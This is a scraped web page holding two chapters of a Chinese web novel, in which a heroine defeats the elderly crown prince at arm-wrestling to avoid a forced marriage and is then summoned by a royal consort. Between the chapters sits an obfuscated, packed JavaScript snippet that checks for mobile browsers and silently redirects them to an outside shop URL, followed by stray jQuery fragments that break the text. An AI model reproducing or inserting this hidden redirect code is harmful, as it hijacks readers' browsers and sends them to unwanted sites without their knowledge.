礼诗涵同意了上官丞相的要求。
无他,若是旁边有人说诶你看那里有个帅哥,礼诗涵可能头都不会抬一下。
但如果有人在人群中振臂高呼自己是猴王转世,礼诗涵高低要瞧瞧这人是不是撞到脑子了。
上官丞相吩咐十几个侍卫牢牢把守客堂。礼诗涵乖巧地端坐在黄花梨打造的椅子上,一身绿芽似的衣裙,小脸嫩的能掐出水来。
贴身侍女从外头给她取了条狐狸毛的披肩来,轻轻给她围在颈上。礼诗涵那点未消下去的脸颊肉戳在上面,初露锋芒的美艳都被压下一层,显得像个还在贪嘴的小孩。
贴身侍女咯咯笑起来。
“干嘛呀?”礼诗涵精力旺盛,在这点着炉火的屋子里有点热。面对坏笑的贴身侍女,她眯起眼睛,犀利道:“你做什么坏事了?”
“没有,不敢。”贴身侍女柔柔道。
“???”礼诗涵道,“我不信,你站住!”
二人嬉闹间,一道身影推开大门,踱步走近。瞥见此人服饰上绣纹,贴身侍女立刻跪下去,低声道:“大人。”
“哈哈,年轻好啊,有活力。”那人哈哈哈哈哈地莫名笑了一阵,道,“这是家事,下人在此处坏了气氛,还不快退下!”
这人约莫五十多岁,须发都白了一半,一身漆黑的衣裳,上面有礼诗涵辨认不出的花纹,面上有一种莫名的高傲。他确实十分魁梧,但那是男人才会引以为傲的魁梧。叫礼诗涵看了,很担心他的内脏健康。
他不再说话,他的侍卫也不开口,笑吟吟地看着礼诗涵。贴身侍女噤若寒蝉,拼命给礼诗涵使眼色。
礼诗涵从来不会看人眼色,直白地问:“老爷爷,你来我家有什么事吗?我爹他出门去了。”
贴身侍女没绷住。
太子的贴身侍卫也没绷住。
大阜的太子是名正言顺的嫡长子。
大阜人结婚生子都很早,当老皇帝八十八岁的时候,太子早成了老邦菜.......
但从十八岁到八十岁的男性,都喜欢漂亮女孩子。被漂亮女孩子顶撞了,也绝不认为她们敢愤怒,只会觉得是在调情。
太子并不生气,笑道:“小孩子脾气罢了。等你嫁人了,长大了些,就知道有个男人倚靠有多重要。”
礼诗涵皱眉:“?”
贴身侍女一见礼诗涵神色,立刻扑上来想捂礼诗涵的嘴。
礼诗涵的嘴巴显然更快一步。
她道:“为什么?我再过三十年也不需要别人搀扶。哦,我明白了,爷爷你腿脚不好了经常要人帮,需要轮椅不是?我可以给您做一把,这种小东西我很擅长做的。”
贴身侍女转而捂住了自己的脸。
太子被激怒了,道:“你想来试试孤的身体尚还硬朗吗?”
太子表态了,太子侍卫立刻上前一步,雪亮的刀锋出鞘几寸,高大的阴影笼罩住礼诗涵茫然的小脸,气氛剑拔弩张。
在如此紧张的气氛中,礼诗涵跃跃欲试,摩拳擦掌道:“好啊。“
“扳手腕还是俯卧撑?”
众人:“.......”
礼诗涵生得那般惊人美貌,从小到大,无数天降想要横刀夺竹马王宇航的爱。要知道他们都没成功,绝不是因为王宇航手段太高。
情商太低的礼诗涵瞧着凝固了的众人,困惑道:“怎么不说话了?是不是怕了!”
太子:“............”
.
在撸起袖子的时候太子觉得自己又重燃青春了一把。
和弟弟们一同读书时也有过年少不懂事的时候,嬉笑打闹像真正的兄弟一样。可惜皇家没有真情,所以他从来没输过。
太子的贴身侍卫做裁判,比赛被定在一张黄花木的八仙桌上。
他显然是第一次碰上这种事情,站在二位身份显赫的大人物中间无助地像个太监。
礼诗涵挽起衣袖,露出如玉般莹白的一截手臂,优美而利落的线条让人忍不住把目光在上面停留。
两人分列桌子两边,太子握住礼诗涵的手,忍不住心猿意马,趁机摩挲两下,刚觉出这女子的手似乎并不如想象中柔嫩,就感觉一股巨力从二人接触的地方传来!
这只甚至能称得上是纤细的手臂怎么会有这么大的力量?怎么能有这么大的力量?
好女子!
太子吃了一惊,手臂上青筋猛得炸起,依然无法抵挡这势如千钧的力道。
在四双眼睛的注视下,他的手被纤细而修长的手指一点点压下。
太子脸憋得通红,挺胸收腹,用尽全身肌肉,依然只能稳住局势,不能挽回颓势。
这.....这.....太子侍卫犹豫着不敢报结果,贴身侍女扑上去猛得摇晃他:“这位大人,你瞎吗?求你了,快让这一切结束吧!”
太子面容已然因为过分用力而扭曲,他道:“我可是当朝太子!”
礼诗涵脸也一样憋得通红,断续道:“太子.......就输不起吗?”
她指节用力到透出青白色,猛得收力又猛得一个发力,两人交握的手出现大幅度的摇摆,哐!太子的手背被狠狠惯在桌板上!
这下已经不必多余宣布结果了。
“我赢了!”礼诗涵狂揉手臂,还不忘抽空竖起一个大拇指,高兴道,“老爷爷,你也是老当益壮!哪怕是青年男人,能和我难分伯仲的也不多。”
上官丞相一直在偷听这里的动静。
他生怕这个脑子突然坏掉的女儿冒犯太子。
太子已经做了五十年的太子了,在老皇帝精力不济的现在接手了不少政务,还是看着许多朝臣长大的。不出意外他一定会是下一任的皇帝。
谈话声隐隐约约,上官丞相提着心。忽地谈话声停了一阵,又传来一声巨大的碰撞声。
上官丞相立刻假装踱步到了客堂,推开大门,假笑道:“太子殿下,谈的如何啊?”
太子从未有一刻觉得自己如此苍老。
居然会输给一个小女孩?
他不敢置信地瞧着自己的手,上官丞相的声音如耳旁风般刮过。他游魂似地走了,自尊大受打击。
上官丞相不明所以,但看礼诗涵脸颊绯红,以为是小女儿羞涩,顿时喜滋滋道:“那婚期.......”
“什么婚期?”贴身侍女给礼诗涵擦着额角的汗水,礼诗涵抿了口茶,严肃道,“上官梨的父亲,你不能再与别人结婚了。你与上官梨的母亲结亲时,就未对她忠诚。你若是再结亲,对现在这个哪怕你阳痿、依然对你不离不弃的妾室多残酷!”
“........”
上官丞相真想一把掐死礼诗涵。
.
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771866|208286||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上官丞相走后,贴身侍女才细细与礼诗涵讲述其中的凶险之处。
礼诗涵挺不能理解为什么已经有十八个小老婆的老头还要找她结亲。但无所谓了,瞧太子离开的模样,应该对她死心了吧。
她忙得很,很快又沉浸在无尽的化工冶炼中。
和当朝太子扳手腕这种事,自然又在都城小火了一把。但这相比于她干出来的其他事情,只能算小小的风波。
锦绣宫中,气质成熟的女子坐在窗边,心不在焉地欣赏自己新染的指甲。
几步之遥的床榻上,传来深重而老迈的咳嗽声,这是老皇帝在睡梦中的声音,肺部如同老迈的风箱。
侍女对她小声耳语几句,淑妃冷冷道:“只有她干得出这种事!没被下狱真是走了狗屎运!”
侍女小声道:“是。太子做了这么久的太子,已经算半个圣上,半辈子都没遇见这种忤逆他的人。那位小姐.....怕是要不好了。”
淑妃道:“总不过是那几件事。赢了就娶,输了也娶。那小家伙长一张祸国殃民的脸,真以为能靠装疯卖傻逃得过不成?”
侍女道:“那娘娘......”
淑妃冷笑道:“关我屁事。我儿子是废物。我死人一个能干什么,就端看她怎么死!”
第二天,宫中来人,请礼诗涵去锦绣宫一叙。
硝石和绿巩可以轻易做出火棉,但礼诗涵陷入了另一个瓶颈——在这种没有通风设备的木制结构里合成强酸,有毒死自己或者其他人的风险。
她沉浸在自己的思考中,把宫里的消息抛在脑后。
翌日,宫里又来人,称礼诗涵如果不想死,就赶快去锦绣宫一叙。
那侍女恭恭敬敬地一点头,道:“这是我们家娘娘的原话,她冷笑着交代我务必传达。”
礼诗涵:“...........”
话说到这份上,就是有急事了。
礼诗涵对这个妃子观感不太好,因为她让上官梨死了。但也不太坏,因为她为人母,礼诗涵有妈妈和干妈,知道她们总是不容易。
她乖乖坐上淑妃的马车。她不爱坐马车,太逼仄,而且一点也不炫酷。
但今天不一样,礼诗涵掀开布帘,街道上张灯结彩,人们议论纷纷,热闹非常。
瞧见别人开心,礼诗涵也高兴地探出半个身子,道:“大家好啊,你们聊什么呢?"
贴身侍女捂脸无声尖叫。
好事的人只听见女子清亮的声音,没瞧见人影,也大声道:“当朝太子和上官小姐的婚事啊!多难得的忘年恋!据说上官小姐见了太子一面,当即被折服,硬要嫁给他呢!”
上官小姐礼诗涵:“?”
“呵。”淑妃靠在榻上,凉凉道,“你以为你特立独行,就不会有人敢打你的主意了?我告诉你。”
她两根手指掐住礼诗涵的脸颊肉用力拉扯,礼诗涵吃痛,黑白分明的眼珠如水洗,鸦羽般的睫毛在脸上打下深深的阴影。淑妃凝视两秒,嘲笑道:“做梦!”
礼诗涵揉着脸颊:“娘娘叫我来,是想帮我吗?”
淑妃冷哼一声:“好大的脸。”
“娘娘先欠我的!”礼诗涵认真道。
淑妃无语。她道:“我是有办法。”
她一指如木桩一样的十九皇子:“就是现在、立刻、马上,和我儿结亲!”